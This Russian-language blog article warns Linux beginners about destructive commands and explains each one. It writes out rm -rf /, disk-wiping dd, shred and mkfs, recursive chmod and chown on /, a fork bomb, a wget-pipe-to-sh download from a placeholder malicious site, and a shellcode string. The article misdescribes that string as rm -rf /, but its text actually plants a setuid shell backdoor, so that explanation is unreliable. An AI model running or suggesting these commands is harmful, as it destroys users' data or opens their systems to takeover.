Привет! Еcли ты только начал осваивать Linux, то просто обязан знать то, что я сейчас тебе расскажу.
В Linux есть целых 10 команд, которые ты никогда не должен вводить в командную строку или советовать кому-нибудь это сделать.
Это как непростительные заклятия, которые не должен произносить ни один волшебник.
Их запуск может привести к самым негативным последствиям - безвозвратному удалению всей операционной системы или важных файлов, зацикливанию процессов и зависанию системы, заражению вредоносным кодом и другим неприятностям.
Внимание! Эти команды действительно могут навредить твоей системе. Компания Мерион Нетворкс снимает с себя всякую ответственность за последствия, исполнения читателями данных команд. Материал носит исключительно ознакомительный характер.
Дело в том, что Linux предполагает, что ты знаешь, что делаешь и, как правило, не спрашивает подтверждения прежде чем исполнить команду, даже если она может навредить.
В Интернете часто подшучивают над новичками, которые просят помощи в настройке Linux, предлагая им ввести эти команды, а затем "ловят лулзы" от реакции человека, который сообщает, что все сломалось окончательно. Чтобы не стать жертвой таких "доброжелателей" и других "темных сил" читай нашу статью!
Необратимые
И начнём мы с действительно "непростительных заклятий", последствия которых невозможно обратить:
rm –rf /
- Удаляет всё, до чего только может добраться. Короче - “Avada Kedavra!” в Linux’е.
Чтобы лучше разобраться как она действует, давайте разобьём её на составляющие:
- rm - команда для удаления файлов
- -r - рекурсивное удаление всех файлов внутри папки, включая вложенные папки и файлы в них
- -f - означает “force”, не спрашивает подтверждения для выполнения операции у пользователя
- / - “слэшом” обозначается корневая директория ОС, которая содержит в себе не только все файлы системы, но также и подключенные устройства, такие как удаленные директории (сетевые шары), USB-носители и другое.
Таким образом, система поймёт данную команду как: “Удали мне всё, что можно и начни с корневой директории!”
В GNU/Linux, ОС Solaris и FreeBSD есть механизмы защиты, от ввода данной команды. Например, в GNU система не даёт ввести эту команду, так как в конфиге активирована функция --preserve-root
. Однако, если добавить к ней ключ --no-preserve-root
, то команда всё же сработает.
Существует несколько вариаций для маскировки этой команды, так что запомни их и не спеши слепо вводить в консоль:
mkdir test cd test touch ./-r touch ./-f su rm * /
Делает то же самое, но усыпляет бдительность, создавая ненужную директорию “test”
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
16-ричное представление команды rm –rf /, его система тоже поймёт.
sudo dd if=/dev/zero of=/dev/sda bs=8m
- Заполняет начальные 40Мбайт (8m) жесткого диска, которые содержат важные данные структуры нулями. Что делает невозможным их восстановление и приводит к невозможности загрузки ОС.
/dev/zero – это некое псевдоустройство, которое делает только одно – генерирует нули, а /dev/sda - это, как правило, устройство жёсткого диска. Командой dd
мы как бы говорим системе: “Скопируй данные из генератора нулей и замени ею первые 40Мбайт на моём жестком диске!”
Обратите внимание на sudo
перед последующей командой. Это значит, что её можно исполнить только под пользователем root.
Встречается ещё использование другого псевдоустройства - if=/dev/random
. В отличие от /dev/zero он генерирует абсолютно рандомный, несвязный бред. Применяется в основном для генерации ключей.
shred /dev/sda
- Удалит все данные на жёстком диске. Команду можно прервать комбинацией Ctrl+C, но всё равно будет слишком поздно, чтобы восстановить критичные области. Кстати, на самом деле shred использует те же генераторы бреда /dev/random или /dev/urandom и начинает заполнять диск данными от них.mkfs.ext3 /dev/sda
- Форматирование жесткого диска. По сути, эта команда создаёт новую файловую систему ext3 (или ещё бывает ext4) на жестком диске, предварительно стирая с него все данные.chmod -Rv 000 /
- Отнимает все разрешения на все файлы и все папки в системе. После ввода этой команды систему нельзя будет даже перезагрузить. А если перезагрузить её вручную, то она всё равно уже не сможет запуститься нормально, так как запрашиваемые при загрузке компоненты будут недоступны.chown -R nobody:nobody /
- Меняет владельца всех файлов и папок системы на “никого”. По сути, эффект от ввода этой команды таким же, как и от предыдущий. Поскольку никто не является владельцем ничего в системе, то и сделать он с ней ничего не сможет, даже запустить.
Опасные, но обратимые
:(){ :|:& };:
- Логическая бомба (известная также как fork bomb), забивающая память системы, что в итоге приводит к её зависанию.
Чтобы лучше понять, как она действует, давайте её немного преобразуем:
fu() { fu | fu & } fu
Этот Bash код создаёт функцию, которая запускает ещё два своих экземпляра, которые, в свою очередь снова запускают эту функцию и так до тех пор, пока этот процесс не займёт всю физическую память компьютера, и он просто не зависнет. Ни к чему фатальному это конечно не приведет, но перезагрузиться всё же придётся.
команда > file.conf
- Команда, которая может перезаписать важный конфигурационный файл. В Linux есть две функции, которые часть путают > - заменить и >> - добавить. Таким образом, если написать какую-команду и неправильно использовать функцию замены при редактировании конфигурационного файла, можно потерять его содержимое. А если написать> file.conf
, то можно просто стереть содержимое файла.wget http://вредоносный_сайт -O- | sh
- Скачивание и последующие исполнение какого-либо скрипта c сайта в Интернете. Если ресурс, с которого ты качаешь скрипт окажется вредоносным, то ты рискуешь заразить свою систему, ведь в скрипте может оказаться код, написанный злоумышленником, который с радостью исполнит твоя система. Так что внимательно относись к тому, что скачиваешь и запускаешь.chmod -R 777 /
- Даёт разрешение всем пользователям системы читать, перезаписывать и запускать всё что угодно. Конечно, с такой системой можно жить и работать, но её безопасность будет под угрозой.
Стоит отметить, что в различных дистрибутивах Linux есть механизмы защиты от ввода данных команд, где-то спрашивают пароль root, где-то запрашивают подтверждение на исполнение, где-то просят ввести специальные ключи.
Ну вот и всё, теперь у тебя есть представление о командах Linux, которые никогда не стоит вводить в консоль. Мы также надеемся, что ты не будешь советовать неопытным пользователям их вводить. Надеемся эта статья была тебя полезна, а если ты знаешь ещё какие нибудь “непростительные заклинания” и опасные команды в Linux – пиши их в комментариях!